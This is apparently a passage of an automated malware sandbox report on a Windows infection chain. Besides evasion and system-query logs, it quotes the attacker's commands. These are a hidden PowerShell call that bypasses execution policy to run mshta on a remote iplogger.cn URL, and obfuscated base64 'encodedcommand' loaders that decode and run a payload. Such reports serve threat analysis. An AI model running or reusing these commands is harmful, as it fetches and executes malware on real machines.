          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 900000Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899875Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899766Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899641Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899531Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3046Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3306Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5593Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4218Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3914Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5830Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7468Thread sleep time: -3689348814741908s >= -30000sJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7420Thread sleep time: -1844674407370954s >= -30000sJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7652Thread sleep time: -15679732462653109s >= -30000sJump to behavior
          Source: C:\Windows\System32\svchost.exe TID: 7760Thread sleep time: -30000s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7896Thread sleep count: 3914 > 30Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7892Thread sleep count: 5830 > 30Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7936Thread sleep time: -15679732462653109s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7936Thread sleep time: -900000s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7936Thread sleep time: -899875s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7936Thread sleep time: -899766s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7936Thread sleep time: -899641s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7936Thread sleep time: -899531s >= -30000sJump to behavior
          Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 900000Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899875Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899766Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899641Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899531Jump to behavior
          Source: mshta.exe, 00000002.00000002.2087019154.000001B148900000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2078490513.000001B148943000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2085620199.000001B148943000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2077055407.000001B148943000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.2086942294.000001B1488BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2086050795.000001B148943000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.2087103662.000001B148943000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2078490513.000001B1488BC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2078490513.000001B1488F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2085620199.000001B1488FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2077055407.000001B1488FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
          Source: powershell.exe, 00000006.00000002.1389805083.0000000007845000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW,
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior

          HIPS / PFW / Operating System Protection Evasion

          barindex
          Bypasses PowerShell execution policy
          Source: unknownProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -ExecutionPolicy Bypass -Command "Start-Process mshta -ArgumentList 'https://iplogger.cn/forensicsas.png'"
          Encrypted powershell cmdline option found
          Source: C:\Windows\System32\mshta.exeProcess created: Base64 decoded $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAA/61Xa3OizBL+HH8FH1KlVkwOxMvqnkrVIhfFAJGLl5g3lUIYERkBYRDJu/vfT4OazZ5Nztmqc6yiHGamu59+prunMRC5Nkjs2UQJHURdT1GceGFA3VYql1vLRx5JQuqO+latrNLAJsVSMXhxEXmJ4tB+sRwnRklC/V25GFuxtaVql3srftmGTopRgypfio3ISWNUv7ioXJRTaZBYK/QSWMTbo5ctIuvQScBQ7YmNIj7cWl7w/PUrl8YxCsjx/WaACJskaLvEHkpqdeo7NVujGF0/LDfIJtTf1OXLzQCHSwuftuWcZa/BKTZwijU5tK3Cgxsjwh6pVf/6q1p/umaeb4RdauGkVjXyhKDtjYNxtU79qBcGzTxCtari2XGYhCtyM/OC5u3NpESvluCVI/Zq/eSZG1ngx+dOFlqPMrUqDMfADXvksNqgngp7T8/P1Lc3NHoaEG+LbqSAoDiMDBTvPRslN0MrcDDS0QrEqgkcYeBW6wAiRiSNA+qMBeT2oY9ql0GKcQP0Pv2p3ueairIzuX8qVHsvBLvGJK43TjHxJ3QoZdwc1YE7v6F/F1x1+P0WYPXKj8oHoeogjFyLoBcC/L6L1crFxVM5ROBPbRwmXil3R9ENSgEQFgnjvDhOM05R/fnn+RzNniWTxqeKmLPUSeZ4PEccd9TTNPSc58pFvXKKnmL+ZZl62EFxsf55NvBo5QWIzwNr69nngK99dGZohVHJx815mwo4a9XTAnL4EzvVgtCn38WErUfeZPtHcKwN554AKgiJ+q9gjmdYq0qBgrbA3/EdwvRyBWmGzrtPqZWfrRfvRSxz2EqSBjVOIc/tBmUgCyOnQbFB4p2W2JSE5bD6E66SYuLZVkLO6p7rH1B6Ms2FAWRMasPpAg2mESHbs3DBSoMaeg7q54bnniFUP+SEszCGlANNezgTmCm4MEgRM7HT+Pf4qN8YiEjbCKMt7C6rkIgtF2rOKaPKcLNc5FT/A+xznhyTouDqTNI70BAABg5Jg5p6MYG6Vm38Fnj/G7xfS8wvMLkYnQ6yVibiUz8nRbpc7l/s4nq5e2Oy5C0mwJkYh9u+laBOyyiLWK3a7KY7KVc2WiceCHtxuBsKJjx7eJo7UZDlkR71ddkW0ofxkB6tJK3Lt9IslVKzTzdFGva97gbCSto/hI9Mum0xTiTtVZhLvuyGCS/teXZ4uwvFjuv1TnqO8toyY5ZzSfyyHIit4TQRi/1Dad8Xd1wvhPE/pD0XjkCu24mCfua0kDDqoLlsZ03SRZZ7yO+nVwbNDKa5Kk+FSDUCR14ymjhSX29z8An8MppDnXbgMQ6YmYWm3Ut2w8Jf1Jd3djAaScNRbvRcXsrVzKYJvYtfcXO8eM13XZBXW8DJwcgVvdVxDvZczOy5KufDR3UANnbpzG0NVTk8sBupE/OG4
          Source: C:\Windows\System32\mshta.exeProcess created: Base64 decoded $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAA/61Xa3OizBL+HH8FH1KlVkwOxMvqnkrVIhfFAJGLl5g3lUIYERkBYRDJu/vfT4OazZ5Nztmqc6yiHGamu59+prunMRC5Nkjs2UQJHURdT1GceGFA3VYql1vLRx5JQuqO+latrNLAJsVSMXhxEXmJ4tB+sRwnRklC/V25GFuxtaVql3srftmGTopRgypfio3ISWNUv7ioXJRTaZBYK/QSWMTbo5ctIuvQScBQ7YmNIj7cWl7w/PUrl8YxCsjx/WaACJskaLvEHkpqdeo7NVujGF0/LDfIJtTf1OXLzQCHSwuftuWcZa/BKTZwijU5tK3Cgxsjwh6pVf/6q1p/umaeb4RdauGkVjXyhKDtjYNxtU79qBcGzTxCtari2XGYhCtyM/OC5u3NpESvluCVI/Zq/eSZG1ngx+dOFlqPMrUqDMfADXvksNqgngp7T8/P1Lc3NHoaEG+LbqSAoDiMDBTvPRslN0MrcDDS0QrEqgkcYeBW6wAiRiSNA+qMBeT2oY9ql0GKcQP0Pv2p3ueairIzuX8qVHsvBLvGJK43TjHxJ3QoZdwc1YE7v6F/F1x1+P0WYPXKj8oHoeogjFyLoBcC/L6L1crFxVM5ROBPbRwmXil3R9ENSgEQFgnjvDhOM05R/fnn+RzNniWTxqeKmLPUSeZ4PEccd9TTNPSc58pFvXKKnmL+ZZl62EFxsf55NvBo5QWIzwNr69nngK99dGZohVHJx815mwo4a9XTAnL4EzvVgtCn38WErUfeZPtHcKwN554AKgiJ+q9gjmdYq0qBgrbA3/EdwvRyBWmGzrtPqZWfrRfvRSxz2EqSBjVOIc/tBmUgCyOnQbFB4p2W2JSE5bD6E66SYuLZVkLO6p7rH1B6Ms2FAWRMasPpAg2mESHbs3DBSoMaeg7q54bnniFUP+SEszCGlANNezgTmCm4MEgRM7HT+Pf4qN8YiEjbCKMt7C6rkIgtF2rOKaPKcLNc5FT/A+xznhyTouDqTNI70BAABg5Jg5p6MYG6Vm38Fnj/G7xfS8wvMLkYnQ6yVibiUz8nRbpc7l/s4nq5e2Oy5C0mwJkYh9u+laBOyyiLWK3a7KY7KVc2WiceCHtxuBsKJjx7eJo7UZDlkR71ddkW0ofxkB6tJK3Lt9IslVKzTzdFGva97gbCSto/hI9Mum0xTiTtVZhLvuyGCS/teXZ4uwvFjuv1TnqO8toyY5ZzSfyyHIit4TQRi/1Dad8Xd1wvhPE/pD0XjkCu24mCfua0kDDqoLlsZ03SRZZ7yO+nVwbNDKa5Kk+FSDUCR14ymjhSX29z8An8MppDnXbgMQ6YmYWm3Ut2w8Jf1Jd3djAaScNRbvRcXsrVzKYJvYtfcXO8eM13XZBXW8DJwcgVvdVxDvZczOy5KufDR3UANnbpzG0NVTk8sBupE/OG4Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://iplogger.cn/forensicsas.png Jump to behavior
          Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEALwA2ADEAWABhADMATwBpAHoAQgBMACsASABIADgARgBIADEASwBsAFYAawB3AE8AeABNAHYAcQBuAGsAcgBWAEkAaABmAEYAQQBKAEcATABsADUAZwAzAGwAVQBJAFkARQBSAGsAQgBZAFIARABKAHUALwB2AGYAVAA0AE8AYQB6AFoANQBOAHoAdABtAHEAYwA2AHkAaQBIAEcAYQBtAHUANQA5ACsAcAByAHUAbgBNAFIAQwA1AE4AawBqAHMAMgBVAFEASgBIAFUAUgBkAFQAMQBHAGMAZQBHAEYAQQAzAFYAWQBxAGwAMQB2AEwAUgB4ADUASgBRAHUAcQBPACsAbABhAHQAcgBOAEwAQQBKAHMAVgBTAE0AWABoAHgARQBYAG0ASgA0AHQAQgArAHMAUgB3AG4AUgBrAGwAQwAvAFYAMgA1AEcARgB1AHgAdABhAFYAcQBsADMAcwByAGYAdABtAEcAVABvAHAAUgBnAHkAcABmAGkAbwAzAEkAUwBXAE4AVQB2ADcAaQBvAFgASgBSAFQAYQBaAEIAWQBLAC8AUQBTAFcATQBUAGIAbwA1AGMAdABJAHUAdgBRAFMAYwBCAFEANwBZAG0ATgBJAGoANwBjAFcAbAA3AHcALwBQAFUAcgBsADgAWQB4AEMAcwBqAHgALwBXAGEAQQBDAEoAcwBrAGEATAB2AEUASABrAHAAcQBkAGUAbwA3AE4AVgB1AGoARwBGADAALwBMAEQAZgBJAEoAdABUAGYAMQBPAFgATAB6AFEAQwBIAFMAdwB1AGYAdAB1AFcAYwBaAGEALwBCAEsAVABaAHcAaQBqAFUANQB0AEsAMwBDAGcAeABzAGoAdwBoADYAcABWAGYALwA2AHEAMQBwAC8AdQBtAGEAZQBiADQAUgBkAGEAdQBHAGsAVgBqAFgAeQBoAEsARAB0AGoAWQBOAHgAdABVADcAOQBxAEIAYwBHAHoAVAB4AEMAdABhAHIAaQAyAFgARwBZAGgAQwB0AHkATQAvAE8AQwA1AHUAMwBOAHAARQBTAHYAbAB1AEMAVgBJAC8AWgBxAC8AZQBTAFoARwAxAG4AZwB4ACsAZABPAEYAbABxAFAATQByAFUAcQBEAE0AZgBBAEQAWAB2AGsAcwBOAHEAZwBuAGcAcAA3AFQAOAAvAFAAMQBMAGMAMwBOAEgAbwBhAEUARwArAEwAYgBxAFMAQQBvAEQAaQBNAEQAQgBUAHYAUABSAHMAbABOADAATQByAGMARABEAFMAMABRAHIARQBxAGcAawBjAFkAZQBCAFcANgB3AEEAaQBSAGkAUwBOAEEAKwBxAE0AQgBlAFQAMgBvAFkAOQBxAGwAMABHAEsAYwBRAFAAMABQAHYAMgBwADMAdQBlAGEAaQByAEkAegB1AFgAOABxAFYASABzAHYAQgBMAHYARwBKAEsANAAzAFQAagBIAHgASgAzAFEAbwBaAGQAdwBjADEAWQBFADcAdgA2AEYALwBGADEAeAAxACsAUAAwAFcAWQBQAFgASwBqADgAbwBIAG8AZQBvAGcAagBGAHkATABvAEIAYwBDAC8ATAA2AEwAMQBjAHIARgB4AFYATQA1AFIATwBCAFAAYgBSAHcAbQBYAGkAbAAzAFIAOQBFAE4AUwBnAEUAUQBGAGcAbgBqAHYARABoAE8ATQAwADUAUgAvAGYAbgBuACsAUgB6AE4AbgBpAFcAVAB4AHEAZQBLAG0ATABQAFUAUwBlAFoANABQAEUAYwBjAGQAOQBUAFQATgBQAFMAYwA1ADgAcABGAHYAWABLAEsAbgBtAEwAKwBaAFoAbAA2ADIARQBGAHgAcwBmADUANQBOAHYAQgBvADUAUQBXAEkAegB3AE4AcgA2ADkAbgBuAGcASwA5ADkAZABHAFoAbwBoAFYASABKAHgAOAAxADUAbQB3AG8ANABhADkAWABUAEEAbgBMADQARQB6AHYAVgBnAHQAQwBuADMAOABXAEUAcgBVAGYAZQBaAFAAdABIAGMASwB3AE4ANQA1ADQAQQBLAGcAaQBKACsAcQA5AGcAagBtAGQAWQBxADAAcQBCAGcAcgBiAEEAMwAvAEUAZAB3AHYAUgB5AEIAVwBtAEcAegByAHQAUABxAFoAVwBmAHIAUgBmAHYAUgBTAHgAegAyAEUAcQBTAEIAagBWAE8ASQBjAC8AdABCAG0AVQBnAEMAeQBPAG4AUQBiAEYAQgA0AHAAMgBXADIASgBTAEUANQBiAEQANgBFADYANgBTAFkAdQBMAFoAVgBrAEwATwA2AHAANwByAEgAMQBCADYATQBzADIARgBBAFcAUgBNAGEAcwBQAHAAQQBnADIAbQBFAFMASABiAHMAMwBEAEIAUwBvAE0AYQBlAGcANwBxADUANABiAG4AbgBpAEYAVQBQACsAUwBFAHMAegBDAEcAbABBAE4ATgBlAHoAZwBUAG0AQwBtADQATQBFAGcAUgBNADcASABUACsAUABmADQAcQBOADgAWQBpAEUAagBiAEMASwBNAHQANwBDADYAcgBrAEkAZwB0AEYAMgByAE8ASwBhAFAASwBjAEwATgBjADUARgBUAC8AQQArAHgAegBuAGgAeQBUAG8AdQBEAHEAVABJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfileJump to behavior
          Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -nop -w hidden -encodedcommand jabzad0atgblahcalqbpagiaagblagmadaagaekatwauae0azqbtag8acgb5afmadabyaguayqbtacgalabbaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoaciasaa0ahmasqbbaeeaqqbbaeeaqqbbaeealwa2adeawabhadmatwbpahoaqgbmacsasabiadgargbiadeaswbsafyaawb3ae8aeabnahyacqbuagsacgbwaekaaabmaeyaqqbkaecatabsaduazwazagwavqbjafkarqbsagsaqgbzafiarabkahualwb2agyavaa0ae8ayqb6afoanqboahoadabtaheaywa2ahkaaqbiaecayqbtahuanqa5acsacabyahuabgbnafiaqwa1ae4aawbqahmamgbvafeasgbiafuaugbkafqamqbhagmazqbhaeyaqqazafyawqbxagwamqb2aewaugb4aduasgbrahuacqbpacsababhahqacgboaewaqqbkahmavgbtae0awaboahgarqbyag0asga0ahqaqgarahmaugb3ag4augbragwaqwavafyamga1aecargb1ahgadabhafyacqbsadmacwbyagyadabtaecavabvahaaugbnahkacabmagkabwazaekauwbxae4avqb2adcaaqbvafgasgbsafqayqbaaeiawqblac8auqbtafcatqbuagiabwa1agmadabjahuadgbrafmaywbcafeanwbzag0atgbjagoanwbjafcabaa3ahcalwbqafuacgbsadgawqb4aemacwbqahgalwbxageaqqbdaeoacwbrageatab2aeuasabrahaacqbkaguabwa3ae4avgb1agoarwbgadaalwbmaeqazgbjaeoadabuagyamqbpafgatab6afeaqwbiafmadwb1agyadab1afcaywbaagealwbcaesavabaahcaaqbqafuanqb0aesamwbdagcaeabzagoadwboadyacabwagyalwa2aheamqbwac8adqbtageazqbiadqaugbkageadqbhagsavgbqafgaeqboaesarab0agoawqboahgadabvadcaoqbxaeiaywbhahoavab4aemadabhahiaaqayafgarwbzaggaqwb0ahkatqavae8aqwa1ahuamwboahaarqbtahyabab1aemavgbjac8awgbxac8azqbtafoarwaxag4azwb4acsazabpaeyababxafaatqbyafuacqbeae0azgbbaeqawab2agsacwboaheazwbuagcacaa3afqaoaavafaamqbmagmamwboaegabwbhaeuarwaraewaygbxafmaqqbvaeqaaqbnaeqaqgbuahyauabsahmababoadaatqbyagmarabeafmamabrahiarqbxagcaawbjafkazqbcafcangb3aeeaaqbsagkauwboaeeakwbxae0aqgblafqamgbvafkaoqbxagwamabhaesaywbrafaamabqahyamgbwadmadqblageaaqbyaekaegb1afgaoabxafyasabzahyaqgbmahyarwbkaesanaazafqaagbiahgasgazafeabwbaagqadwbjadeawqbfadcadga2aeyalwbgadeaeaaxacsauaawafcawqbqafgaswbqadgabwbiag8azqbvagcaagbgahkatabvaeiaywbdac8ataa2aewamqbjahiargb4afyatqa1afiatwbcafaaygbsahcabqbyagkabaazafiaoqbfae4auwbnaeuauqbgagcabgbqahyaraboae8atqawaduaugavagyabgbuacsaugb6ae4abgbpafcavab4aheazqblag0atabqafuauwblafoanabqaeuaywbjagqaoqbuafqatgbqafmaywa1adgacabgahyawablaesabgbtaewakwbaafoabaa2adiarqbgahgacwbmaduanqboahyaqgbvaduauqbxaekaegb3ae4acga2adkabgbuagcaswa5adkazabhafoabwboafyasabkahgaoaaxaduabqb3ag8anabhadkawabuaeeabgbmadqarqb6ahyavgbnahqaqwbuadmaoabxaeuacgbvagyazqbaafaadabiagmaswb3ae4anqa1adqaqqblagcaaqbkacsacqa5agcaagbtagqawqbxadaacqbcagcacgbiaeeamwavaeuazab3ahyaugb5aeiavwbtaecaegbyahqauabxafoavwbmahiaugbmahyaugbtahgaegayaeuacqbtaeiaagbwae8asqbjac8adabcag0avqbnaemaeqbpag4auqbiaeyaqga0ahaamgbxadiasgbtaeuanqbiaeqangbfadyangbtafkadqbmafoavgbraewatwa2ahaanwbyaegamqbcadyatqbzadiargbbafcaugbnageacwbqahaaqqbnadiabqbfafmasabiahmamwbeaeiauwbvae0ayqblagcanwbxaduanabiag4abgbpaeyavqbqacsauwbfahmaegbdaecababbae4atgblahoazwbuag0aqwbtadqatqbfagcaugbnadcasabuacsauabmadqacqboadgawqbpaeuaagbiaemaswbnahqanwbdadyacgbraekazwb0aeyamgbyae8aswbhafaaswbjaewatgbjaduargbuac8aqqarahgaegbuaggaeqbuag8adqbeaheavab
          Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -nop -w hidden -encodedcommand jabzad0atgblahcalqbpagiaagblagmadaagaekatwauae0azqbtag8acgb5afmadabyaguayqbtacgalabbaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoaciasaa0ahmasqbbaeeaqqbbaeeaqqbbaeealwa2adeawabhadmatwbpahoaqgbmacsasabiadgargbiadeaswbsafyaawb3ae8aeabnahyacqbuagsacgbwaekaaabmaeyaqqbkaecatabsaduazwazagwavqbjafkarqbsagsaqgbzafiarabkahualwb2agyavaa0ae8ayqb6afoanqboahoadabtaheaywa2ahkaaqbiaecayqbtahuanqa5acsacabyahuabgbnafiaqwa1ae4aawbqahmamgbvafeasgbiafuaugbkafqamqbhagmazqbhaeyaqqazafyawqbxagwamqb2aewaugb4aduasgbrahuacqbpacsababhahqacgboaewaqqbkahmavgbtae0awaboahgarqbyag0asga0ahqaqgarahmaugb3ag4augbragwaqwavafyamga1aecargb1ahgadabhafyacqbsadmacwbyagyadabtaecavabvahaaugbnahkacabmagkabwazaekauwbxae4avqb2adcaaqbvafgasgbsafqayqbaaeiawqblac8auqbtafcatqbuagiabwa1agmadabjahuadgbrafmaywbcafeanwbzag0atgbjagoanwbjafcabaa3ahcalwbqafuacgbsadgawqb4aemacwbqahgalwbxageaqqbdaeoacwbrageatab2aeuasabrahaacqbkaguabwa3ae4avgb1agoarwbgadaalwbmaeqazgbjaeoadabuagyamqbpafgatab6afeaqwbiafmadwb1agyadab1afcaywbaagealwbcaesavabaahcaaqbqafuanqb0aesamwbdagcaeabzagoadwboadyacabwagyalwa2aheamqbwac8adqbtageazqbiadqaugbkageadqbhagsavgbqafgaeqboaesarab0agoawqboahgadabvadcaoqbxaeiaywbhahoavab4aemadabhahiaaqayafgarwbzaggaqwb0ahkatqavae8aqwa1ahuamwboahaarqbtahyabab1aemavgbjac8awgbxac8azqbtafoarwaxag4azwb4acsazabpaeyababxafaatqbyafuacqbeae0azgbbaeqawab2agsacwboaheazwbuagcacaa3afqaoaavafaamqbmagmamwboaegabwbhaeuarwaraewaygbxafmaqqbvaeqaaqbnaeqaqgbuahyauabsahmababoadaatqbyagmarabeafmamabrahiarqbxagcaawbjafkazqbcafcangb3aeeaaqbsagkauwboaeeakwbxae0aqgblafqamgbvafkaoqbxagwamabhaesaywbrafaamabqahyamgbwadmadqblageaaqbyaekaegb1afgaoabxafyasabzahyaqgbmahyarwbkaesanaazafqaagbiahgasgazafeabwbaagqadwbjadeawqbfadcadga2aeyalwbgadeaeaaxacsauaawafcawqbqafgaswbqadgabwbiag8azqbvagcaagbgahkatabvaeiaywbdac8ataa2aewamqbjahiargb4afyatqa1afiatwbcafaaygbsahcabqbyagkabaazafiaoqbfae4auwbnaeuauqbgagcabgbqahyaraboae8atqawaduaugavagyabgbuacsaugb6ae4abgbpafcavab4aheazqblag0atabqafuauwblafoanabqaeuaywbjagqaoqbuafqatgbqafmaywa1adgacabgahyawablaesabgbtaewakwbaafoabaa2adiarqbgahgacwbmaduanqboahyaqgbvaduauqbxaekaegb3ae4acga2adkabgbuagcaswa5adkazabhafoabwboafyasabkahgaoaaxaduabqb3ag8anabhadkawabuaeeabgbmadqarqb6ahyavgbnahqaqwbuadmaoabxaeuacgbvagyazqbaafaadabiagmaswb3ae4anqa1adqaqqblagcaaqbkacsacqa5agcaagbtagqawqbxadaacqbcagcacgbiaeeamwavaeuazab3ahyaugb5aeiavwbtaecaegbyahqauabxafoavwbmahiaugbmahyaugbtahgaegayaeuacqbtaeiaagbwae8asqbjac8adabcag0avqbnaemaeqbpag4auqbiaeyaqga0ahaamgbxadiasgbtaeuanqbiaeqangbfadyangbtafkadqbmafoavgbraewatwa2ahaanwbyaegamqbcadyatqbzadiargbbafcaugbnageacwbqahaaqqbnadiabqbfafmasabiahmamwbeaeiauwbvae0ayqblagcanwbxaduanabiag4abgbpaeyavqbqacsauwbfahmaegbdaecababbae4atgblahoazwbuag0aqwbtadqatqbfagcaugbnadcasabuacsauabmadqacqboadgawqbpaeuaagbiaemaswbnahqanwbdadyacgbraekazwb0aeyamgbyae8aswbhafaaswbjaewatgbjaduargbuac8aqqarahgaegbuaggaeqbuag8adqbeaheavabJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
